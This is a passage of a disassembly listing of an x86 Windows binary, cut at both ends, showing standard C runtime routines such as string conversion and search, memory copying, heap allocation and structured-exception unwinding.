lea eax, [ebx+ebx*4] lea ebx, [esi+eax*2-30h] movzx esi, byte ptr [edi] inc edi jmp short loc_410A40 ; --------------------------------------------------------------------------- loc_410A71: ; CODE XREF: sub_4109F4+6Ej cmp ebp, 2Dh mov eax, ebx jnz short loc_410A7A neg eax loc_410A7A: ; CODE XREF: sub_4109F4+82j pop edi pop esi pop ebp pop ebx retn sub_4109F4 endp ; =============== S U B R O U T I N E ======================================= sub_410A7F proc near ; CODE XREF: sub_4013E9+12p ; sub_4013E9+1Dp ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_4109F4 pop ecx retn sub_410A7F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410A8A proc near ; CODE XREF: seg000:00402036p ; sub_402AD2+69p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_14], 42h mov [ebp+var_1C], eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_20] push [ebp+arg_8] push eax call sub_412C3C add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_410AC9 mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_410AD6 ; --------------------------------------------------------------------------- loc_410AC9: ; CODE XREF: sub_410A8A+35j lea eax, [ebp+var_20] push eax push 0 call sub_412B27 pop ecx pop ecx loc_410AD6: ; CODE XREF: sub_410A8A+3Dj mov eax, esi pop esi leave retn sub_410A8A endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_410AE0 proc near ; CODE XREF: seg000:00401EAEp ; seg000:00401ECEp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push edi push ebx push esi mov dl, [ecx] mov edi, [esp+0Ch+arg_0] test dl, dl jz short loc_410B5A mov dh, [ecx+1] test dh, dh jz short loc_410B47 loc_410AF8: ; CODE XREF: sub_410AE0+52j ; sub_410AE0+65j mov esi, edi mov ecx, [esp+0Ch+arg_4] mov al, [edi] inc esi cmp al, dl jz short loc_410B1A test al, al jz short loc_410B14 loc_410B09: ; CODE XREF: sub_410AE0+32j mov al, [esi] inc esi loc_410B0C: ; CODE XREF: sub_410AE0+3Fj cmp al, dl jz short loc_410B1A test al, al jnz short loc_410B09 loc_410B14: ; CODE XREF: sub_410AE0+27j pop esi pop ebx pop edi xor eax, eax retn ; --------------------------------------------------------------------------- loc_410B1A: ; CODE XREF: sub_410AE0+23j ; sub_410AE0+2Ej mov al, [esi] inc esi cmp al, dh jnz short loc_410B0C lea edi, [esi-1] loc_410B24: ; CODE XREF: sub_410AE0+63j mov ah, [ecx+2] test ah, ah jz short loc_410B53 mov al, [esi] add esi, 2 cmp al, ah jnz short loc_410AF8 mov al, [ecx+3] test al, al jz short loc_410B53 mov ah, [esi-1] add ecx, 2 cmp al, ah jz short loc_410B24 jmp short loc_410AF8 ; --------------------------------------------------------------------------- loc_410B47: ; CODE XREF: sub_410AE0+16j xor eax, eax pop esi pop ebx pop edi mov al, dl jmp loc_412766 ; --------------------------------------------------------------------------- loc_410B53: ; CODE XREF: sub_410AE0+49j ; sub_410AE0+59j lea eax, [edi-1] pop esi pop ebx pop edi retn ; --------------------------------------------------------------------------- loc_410B5A: ; CODE XREF: sub_410AE0+Fj mov eax, edi pop esi pop ebx pop edi retn sub_410AE0 endp ; =============== S U B R O U T I N E ======================================= sub_410B60 proc near ; CODE XREF: sub_402306+7p ; sub_402930+124p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test ecx, 3 jz short loc_410B80 loc_410B6C: ; CODE XREF: sub_410B60+19j mov al, [ecx] inc ecx test al, al jz short loc_410BB3 test ecx, 3 jnz short loc_410B6C add eax, 0 loc_410B80: ; CODE XREF: sub_410B60+Aj ; sub_410B60+36j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_410B80 mov eax, [ecx-4] test al, al jz short loc_410BD1 test ah, ah jz short loc_410BC7 test eax, 0FF0000h jz short loc_410BBD test eax, 0FF000000h jz short loc_410BB3 jmp short loc_410B80 ; --------------------------------------------------------------------------- loc_410BB3: ; CODE XREF: sub_410B60+11j ; sub_410B60+4Fj lea eax, [ecx-1] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_410BBD: ; CODE XREF: sub_410B60+48j lea eax, [ecx-2] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_410BC7: ; CODE XREF: sub_410B60+41j lea eax, [ecx-3] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_410BD1: ; CODE XREF: sub_410B60+3Dj lea eax, [ecx-4] mov ecx, [esp+arg_0] sub eax, ecx retn sub_410B60 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_410BE0 proc near ; CODE XREF: sub_4038A7+8p ; seg000:00403D0Ap ... arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_410C00 loc_410BEC: ; CODE XREF: sub_410BE0+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_410BEC loc_410C00: ; CODE XREF: sub_410BE0+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_410BE0 endp ; =============== S U B R O U T I N E ======================================= sub_410C0F proc near ; CODE XREF: sub_402124+Ap ; sub_40215E+12p ... arg_0 = dword ptr 4 push ds:dword_45F89C push [esp+4+arg_0] call sub_410C21 pop ecx pop ecx retn sub_410C0F endp ; =============== S U B R O U T I N E ======================================= sub_410C21 proc near ; CODE XREF: sub_410C0F+Ap ; sub_411605+6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFE0h ja short loc_410C4A loc_410C28: ; CODE XREF: sub_410C21+27j push [esp+arg_0] call sub_410C4D test eax, eax pop ecx jnz short locret_410C4C cmp [esp+arg_4], eax jz short locret_410C4C push [esp+arg_0] call sub_4134BB test eax, eax pop ecx jnz short loc_410C28 loc_410C4A: ; CODE XREF: sub_410C21+5j xor eax, eax locret_410C4C: ; CODE XREF: sub_410C21+13j ; sub_410C21+19j retn sub_410C21 endp ; =============== S U B R O U T I N E ======================================= sub_410C4D proc near ; CODE XREF: sub_410C21+Bp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] cmp esi, ds:dword_42E3AC ja short loc_410C65 push esi call sub_4138A6 test eax, eax pop ecx jnz short loc_410C81 loc_410C65: ; CODE XREF: sub_410C4D+Bj test esi, esi jnz short loc_410C6C push 1 pop esi loc_410C6C: ; CODE XREF: sub_410C4D+1Aj add esi, 0Fh and esi, 0FFFFFFF0h push esi push 0 push ds:dword_460EA0 call ds:dword_41C134 ; RtlAllocateHeap loc_410C81: ; CODE XREF: sub_410C4D+16j pop esi retn sub_410C4D endp ; =============== S U B R O U T I N E ======================================= sub_410C83 proc near ; CODE XREF: sub_4021B3+Ap ; sub_4021CC+7Bp ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_410CB0 push esi call sub_413550 pop ecx test eax, eax push esi jz short loc_410CA2 push eax call sub_41357B pop ecx pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_410CA2: ; CODE XREF: sub_410C83+13j push 0 push ds:dword_460EA0 call ds:dword_41C138 ; RtlFreeHeap loc_410CB0: ; CODE XREF: sub_410C83+7j pop esi retn sub_410C83 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_410CB2(double) sub_410CB2 proc near ; CODE XREF: sub_4028E4+38p var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push ds:dword_42E150 call sub_414879 fld [ebp+arg_0] pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] pop ecx push ecx and ax, 7FF0h push ecx cmp ax, 7FF0h fstp [esp+18h+var_18] jnz short loc_410D38 call sub_414741 pop ecx test eax, eax pop ecx jle short loc_410D1B cmp eax, 2 jle short loc_410D0D cmp eax, 3 jnz short loc_410D1B fld [ebp+arg_0] push ebx push ecx ; int push ecx fstp qword ptr [esp] push 0Bh ; double call sub_414051 add esp, 10h jmp short loc_410D7D ; --------------------------------------------------------------------------- loc_410D0D: ; CODE XREF: sub_410CB2+3Fj push esi push ebx call sub_414879 fld [ebp+arg_0] pop ecx pop ecx jmp short loc_410D7D ; --------------------------------------------------------------------------- loc_410D1B: ; CODE XREF: sub_410CB2+3Aj ; sub_410CB2+44j fld [ebp+arg_0] fadd ds:dbl_41C650 push ebx push ecx ; double push ecx fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx fstp [esp+24h+var_24] push 0Bh push 8 jmp short loc_410D75 ; --------------------------------------------------------------------------- loc_410D38: ; CODE XREF: sub_410CB2+2Fj call sub_414706 fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] pop ecx pop ecx fnstsw ax sahf jnz short loc_410D5B loc_410D4D: ; CODE XREF: sub_410CB2+ACj push esi push ebx call sub_414879 fld [ebp+var_8] pop ecx pop ecx jmp short loc_410D7D ; --------------------------------------------------------------------------- loc_410D5B: ; CODE XREF: sub_410CB2+99j test bl, 20h jnz short loc_410D4D fld [ebp+var_8] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx ; double fstp [esp+24h+var_24] push 0Bh ; int push 10h ; int loc_410D75: ; CODE XREF: sub_410CB2+84j call sub_4140A4 add esp, 1Ch loc_410D7D: ; CODE XREF: sub_410CB2+59j ; sub_410CB2+67j ... pop esi pop ebx leave retn sub_410CB2 endp ; =============== S U B R O U T I N E ======================================= sub_410D81 proc near ; DATA XREF: seg002:0042E15Co call sub_410D99 call sub_414942 mov ds:dword_45F824, eax call sub_4148F2 fnclex retn sub_410D81 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_410D99 proc near ; CODE XREF: sub_410D81p mov eax, offset sub_414D30 mov ds:off_42E4CC, offset sub_4149C5 mov ds:off_42E4C8, eax mov ds:off_42E4D0, offset sub_414A2B mov ds:off_42E4D4, offset sub_41496B mov ds:off_42E4D8, offset sub_414A13 mov ds:off_42E4DC, eax retn sub_410D99 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410DD4 proc near ; CODE XREF: sub_4028E4+1Bp ; sub_4028E4+44p ... var_C = qword ptr -0Ch var_4 = word ptr -4 var_2 = word ptr -2 push ebp mov ebp, esp add esp, 0FFFFFFF4h fstcw [ebp+var_2] wait mov ax, [ebp+var_2] or ah, 0Ch mov [ebp+var_4], ax fldcw [ebp+var_4] fistp [ebp+var_C] fldcw [ebp+var_2] mov eax, dword ptr [ebp+var_C] mov edx, dword ptr [ebp+var_C+4] leave retn sub_410DD4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_410DFB(double) sub_410DFB proc near ; CODE XREF: sub_402930+82p var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push ds:dword_42E168 call sub_414879 fld [ebp+arg_0] pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] pop ecx push ecx and ax, 7FF0h push ecx cmp ax, 7FF0h fstp [esp+18h+var_18] jnz short loc_410E81 call sub_414741 pop ecx test eax, eax pop ecx jle short loc_410E64 cmp eax, 2 jle short loc_410E56 cmp eax, 3 jnz short loc_410E64 fld [ebp+arg_0] push ebx push ecx ; int push ecx fstp qword ptr [esp] push 0Ch ; double call sub_414051 add esp, 10h jmp short loc_410EC6 ; --------------------------------------------------------------------------- loc_410E56: ; CODE XREF: sub_410DFB+3Fj push esi push ebx call sub_414879 fld [ebp+arg_0] pop ecx pop ecx jmp short loc_410EC6 ; --------------------------------------------------------------------------- loc_410E64: ; CODE XREF: sub_410DFB+3Aj ; sub_410DFB+44j fld [ebp+arg_0] fadd ds:dbl_41C650 push ebx push ecx ; double push ecx fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx fstp [esp+24h+var_24] push 0Ch push 8 jmp short loc_410EBE ; --------------------------------------------------------------------------- loc_410E81: ; CODE XREF: sub_410DFB+2Fj call sub_414706 fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] pop ecx pop ecx fnstsw ax sahf jnz short loc_410EA4 loc_410E96: ; CODE XREF: sub_410DFB+ACj push esi push ebx call sub_414879 fld [ebp+var_8] pop ecx pop ecx jmp short loc_410EC6 ; --------------------------------------------------------------------------- loc_410EA4: ; CODE XREF: sub_410DFB+99j test bl, 20h jnz short loc_410E96 fld [ebp+var_8] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx ; double fstp [esp+24h+var_24] push 0Ch ; int push 10h ; int loc_410EBE: ; CODE XREF: sub_410DFB+84j call sub_4140A4 add esp, 1Ch loc_410EC6: ; CODE XREF: sub_410DFB+59j ; sub_410DFB+67j ... pop esi pop ebx leave retn sub_410DFB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410ECA proc near ; CODE XREF: sub_4151A1+71p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov ebx, large fs:0 mov eax, [ebx] mov large fs:0, eax mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] mov esp, [ebx-4] mov ebp, [ebp+var_4] jmp eax sub_410ECA endp ; --------------------------------------------------------------------------- pop edi pop esi pop ebx leave retn 8 ; =============== S U B R O U T I N E ======================================= sub_410EFE proc near ; CODE XREF: sub_415352+199p ; sub_415516+3Ep arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_410EFE endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_410F05 proc near ; CODE XREF: sub_415352+17Fp arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_410F05 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410F0C proc near ; CODE XREF: sub_4110BE+5Cp ; sub_4151A1:loc_4151D2p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi mov eax, large fs:0 mov [ebp+var_8], eax mov [ebp+var_4], offset loc_410F34 push 0 push [ebp+arg_4] push [ebp+var_4] push [ebp+arg_0] call sub_41AFFE ; RtlUnwind loc_410F34: ; DATA XREF: sub_410F0C+11o mov eax, [ebp+arg_4] mov eax, [eax+4] and al, 0FDh mov ecx, [ebp+arg_4] mov [ecx+4], eax mov eax, large fs:0 mov ebx, [ebp+var_8] mov [ebx], eax mov large fs:0, ebx pop edi pop esi pop ebx leave retn 8 sub_410F0C endp ; --------------------------------------------------------------------------- loc_410F5B: ; CODE XREF: seg000:0041B15Cj ; seg000:0041B179j ... push ebp mov ebp, esp sub esp, 4 push ebx push esi push edi cld mov [ebp-4], eax xor eax, eax push eax push eax push eax push dword ptr [ebp-4] push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_414DA6 add esp, 20h mov [ebp+14h], eax pop edi pop esi pop ebx mov eax, [ebp+14h] mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410F91 proc near ; CODE XREF: sub_41521C+73p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 14h mov eax, [ebp+arg_4] and [ebp+var_14], 0 mov ecx, [ebp+arg_0] mov [ebp+var_C], eax mov eax, [ebp+arg_C] mov [ebp+var_10], offset sub_410FE5 inc eax mov [ebp+var_8], ecx mov [ebp+var_4], eax mov eax, large fs:0 mov [ebp+var_14], eax lea eax, [ebp+var_14] mov large fs:0, eax push [ebp+arg_10] push ecx push [ebp+arg_8] call sub_4155A0 mov ecx, eax mov eax, [ebp+var_14] mov large fs:0, eax mov eax, ecx leave retn sub_410F91 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410FE5 proc near ; DATA XREF: sub_410F91+16o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cld mov eax, [ebp+arg_4] push 0 push eax push dword ptr [eax+10h] push dword ptr [eax+8] push 0 push [ebp+arg_8] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_414DA6 add esp, 20h pop ebp retn sub_410FE5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41100A proc near ; CODE XREF: sub_414FE8+25p var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 34h push ebx push esi push edi and [ebp+var_28], 0 mov [ebp+var_24], offset sub_4110BE mov eax, [ebp+arg_10] mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_1C], eax mov eax, [ebp+arg_14] mov [ebp+var_18], eax mov eax, [ebp+arg_18] mov [ebp+var_14], eax and [ebp+var_10], 0 and [ebp+var_C], 0 and [ebp+var_8], 0 and [ebp+var_4], 0 mov [ebp+var_10], offset loc_411090 mov [ebp+var_C], esp mov [ebp+var_8], ebp mov eax, large fs:0 mov [ebp+var_28], eax lea eax, [ebp+var_28] mov large fs:0, eax mov [ebp+var_34], 1 mov eax, [ebp+arg_0] mov [ebp+var_30], eax mov eax, [ebp+arg_8] mov [ebp+var_2C], eax lea eax, [ebp+var_30] push eax mov eax, [ebp+arg_0] push dword ptr [eax] call ds:dword_45F8BC pop ecx pop ecx and [ebp+var_34], 0 loc_411090: ; DATA XREF: sub_41100A+3Co cmp [ebp+var_4], 0 jz short loc_4110AD mov ebx, large fs:0 mov eax, [ebx] mov ebx, [ebp+var_28] mov [ebx], eax mov large fs:0, ebx jmp short loc_4110B6 ; --------------------------------------------------------------------------- loc_4110AD: ; CODE XREF: sub_41100A+8Aj mov eax, [ebp+var_28] mov large fs:0, eax loc_4110B6: ; CODE XREF: sub_41100A+A1j mov eax, [ebp+var_34] pop edi pop esi pop ebx leave retn sub_41100A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4110BE proc near ; DATA XREF: sub_41100A+Do arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi cld mov eax, [ebp+arg_0] mov eax, [eax+4] and eax, 66h test eax, eax jz short loc_4110E1 mov eax, [ebp+arg_4] mov dword ptr [eax+24h], 1 push 1 pop eax jmp short loc_41112E ; --------------------------------------------------------------------------- loc_4110E1: ; CODE XREF: sub_4110BE+12j push 1 mov eax, [ebp+arg_4] push dword ptr [eax+14h] mov eax, [ebp+arg_4] push dword ptr [eax+10h] mov eax, [ebp+arg_4] push dword ptr [eax+8] push 0 push [ebp+arg_8] mov eax, [ebp+arg_4] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_414DA6 add esp, 20h mov eax, [ebp+arg_4] cmp dword ptr [eax+24h], 0 jnz short loc_41111F push [ebp+arg_0] push [ebp+arg_4] call sub_410F0C loc_41111F: ; CODE XREF: sub_4110BE+54j mov ebx, [ebp+arg_4] mov esp, [ebx+1Ch] mov ebp, [ebx+20h] jmp dword ptr [ebx+18h] ; --------------------------------------------------------------------------- push 1 pop eax loc_41112E: ; CODE XREF: sub_4110BE+21j pop edi pop esi pop ebx pop ebp retn sub_4110BE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411133 proc near ; CODE XREF: sub_414E41+C6p ; sub_414FE8+43p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push ebx push esi cmp [ebp+arg_4], 0 push edi mov edi, [ebp+arg_0] mov esi, [edi+0Ch] mov ebx, [edi+10h] mov eax, esi mov [ebp+arg_0], esi mov [ebp+var_4], eax jl short loc_41118A loc_411151: ; CODE XREF: sub_411133+52j cmp esi, 0FFFFFFFFh jnz short loc_41115B call sub_415642 loc_41115B: ; CODE XREF: sub_411133+21j mov ecx, [ebp+arg_8] dec esi lea eax, [esi+esi*4] cmp [ebx+eax*4+4], ecx lea eax, [ebx+eax*4] jge short loc_411170 cmp ecx, [eax+8] jle short loc_411175 loc_411170: ; CODE XREF: sub_411133+36j cmp esi, 0FFFFFFFFh jnz short loc_411181 loc_411175: ; CODE XREF: sub_411133+3Bj mov eax, [ebp+arg_0] dec [ebp+arg_4] mov [ebp+var_4], eax mov [ebp+arg_0], esi loc_411181: ; CODE XREF: sub_411133+40j cmp [ebp+arg_4], 0 jge short loc_411151 mov eax, [ebp+var_4] loc_41118A: ; CODE XREF: sub_411133+1Cj mov ecx, [ebp+arg_C] inc esi mov [ecx], esi mov ecx, [ebp+arg_10] mov [ecx], eax cmp eax, [edi+0Ch] ja short loc_41119E cmp esi, eax jbe short loc_4111A3 loc_41119E: ; CODE XREF: sub_411133+65j call sub_415642 loc_4111A3: ; CODE XREF: sub_411133+69j lea eax, [esi+esi*4] pop edi pop esi lea eax, [ebx+eax*4] pop ebx leave retn sub_411133 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4111B0 proc near ; CODE XREF: sub_417B48+5Ap arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi push ebp push 0 push 0 push offset loc_4111C8 push [ebp+arg_0] call sub_41AFFE ; RtlUnwind loc_4111C8: ; DATA XREF: sub_4111B0+Bo pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4111B0 endp ; =============== S U B R O U T I N E ======================================= sub_4111D0 proc near ; DATA XREF: sub_4111F2+Ao ; sub_41125A+9o arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_C = dword ptr 10h mov ecx, [esp+arg_0] test dword ptr [ecx+4], 6 mov eax, 1 jz short locret_4111F1 mov eax, [esp+arg_4] mov edx, [esp+arg_C] mov [edx], eax mov eax, 3 locret_4111F1: ; CODE XREF: sub_4111D0+10j retn sub_4111D0 endp ; =============== S U B R O U T I N E ======================================= sub_4111F2 proc near ; CODE XREF: seg000:004152CFp ; sub_417B48+67p ... var_14 = dword ptr -14h arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov eax, [esp+0Ch+arg_0] push eax push 0FFFFFFFEh push offset sub_4111D0 push large dword ptr fs:0 mov large fs:0, esp loc_41120F: ; CODE XREF: sub_4111F2:loc_41124Aj mov eax, [esp+1Ch+arg_0] mov ebx, [eax+8] mov esi, [eax+0Ch] cmp esi, 0FFFFFFFFh jz short loc_41124C cmp esi, [esp+1Ch+arg_4] jz short loc_41124C lea esi, [esi+esi*2] mov ecx, [ebx+esi*4] mov [esp+1Ch+var_14], ecx mov [eax+0Ch], ecx cmp dword ptr [ebx+esi*4+4], 0 jnz short loc_41124A push 101h mov eax, [ebx+esi*4+8] call sub_411286 call dword ptr [ebx+esi*4+8] loc_41124A: ; CODE XREF: sub_4111F2+44j jmp short loc_41120F ; --------------------------------------------------------------------------- loc_41124C: ; CODE XREF: sub_4111F2+2Aj ; sub_4111F2+30j pop large dword ptr fs:0 add esp, 0Ch pop edi pop esi pop ebx retn sub_4111F2 endp ; =============== S U B R O U T I N E ======================================= sub_41125A proc near ; CODE XREF: sub_4152E2+37p xor eax, eax mov ecx, large fs:0 cmp dword ptr [ecx+4], offset sub_4111D0 jnz short locret_41127C mov edx, [ecx+0Ch] mov edx, [edx+0Ch] cmp [ecx+8], edx jnz short locret_41127C mov eax, 1 locret_41127C: ; CODE XREF: sub_41125A+10j ; sub_41125A+1Bj retn sub_41125A endp ; =============== S U B R O U T I N E ======================================= sub_41127D proc near ; CODE XREF: sub_4155A0+1Ep ; sub_4155A0+40p push ebx push ecx mov ebx, offset dword_42E16C jmp short loc_411290 sub_41127D endp ; =============== S U B R O U T I N E ======================================= sub_411286 proc near ; CODE XREF: sub_4111F2+4Fp ; sub_417B48+78p push ebx push ecx mov ebx, offset dword_42E16C mov ecx, [ebp+8] loc_411290: ; CODE XREF: sub_41127D+7j mov [ebx+8], ecx mov [ebx+4], eax mov [ebx+0Ch], ebp pop ecx pop ebx retn 4 sub_411286 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4112A0 proc near ; CODE XREF: sub_402930+5p ; sub_402AD2+5p ... push 0FFFFFFFFh push eax mov eax, large fs:0 push eax mov eax, [esp+0Ch] mov large fs:0, esp mov [esp+0Ch], ebp lea ebp, [esp+0Ch] push eax retn sub_4112A0 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4112BF proc near ; CODE XREF: sub_402FA7+26p ; seg000:0041ADD5p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_410C83 pop ecx retn sub_4112BF endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4112D0 proc near ; CODE XREF: sub_403018+3Ap ; sub_41357B+2EEp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_4112F0 cmp edi, eax jb loc_411468 loc_4112F0: ; CODE XREF: sub_4112D0+16j test edi, 3 jnz short loc_41130C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41132C rep movsd jmp ds:off_411418[edx*4] ; --------------------------------------------------------------------------- loc_41130C: ; CODE XREF: sub_4112D0+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_411324 and eax, 3 add ecx, eax jmp dword ptr ds:loc_41132C+4[eax*4] ; --------------------------------------------------------------------------- loc_411324: ; CODE XREF: sub_4112D0+46j jmp dword ptr ds:loc_411428[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41132C: ; CODE XREF: sub_4112D0+31j ; sub_4112D0+8Ej ... jmp ds:off_4113AC[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_411340 dd offset loc_41136C dd offset loc_411390 ; --------------------------------------------------------------------------- loc_411340: ; DATA XREF: sub_4112D0+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_41132C rep movsd jmp ds:off_411418[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41136C: ; DATA XREF: sub_4112D0+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_41132C rep movsd jmp ds:off_411418[edx*4] ; --------------------------------------------------------------------------- align 10h loc_411390: ; DATA XREF: sub_4112D0+6Co and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_41132C rep movsd jmp ds:off_411418[edx*4] ; --------------------------------------------------------------------------- align 4 off_4113AC dd offset loc_41140F ; DATA XREF: sub_4112D0:loc_41132Cr dd offset loc_4113FC dd offset loc_4113F4 dd offset loc_4113EC dd offset loc_4113E4 dd offset loc_4113DC dd offset loc_4113D4 dd offset loc_4113CC ; --------------------------------------------------------------------------- loc_4113CC: ; CODE XREF: sub_4112D0:loc_41132Cj ; DATA XREF: sub_4112D0+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_4113D4: ; CODE XREF: sub_4112D0:loc_41132Cj ; DATA XREF: sub_4112D0+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_4113DC: ; CODE XREF: sub_4112D0:loc_41132Cj ; DATA XREF: sub_4112D0+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_4113E4: ; CODE XREF: sub_4112D0:loc_41132Cj ; DATA XREF: sub_4112D0+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_4113EC: ; CODE XREF: 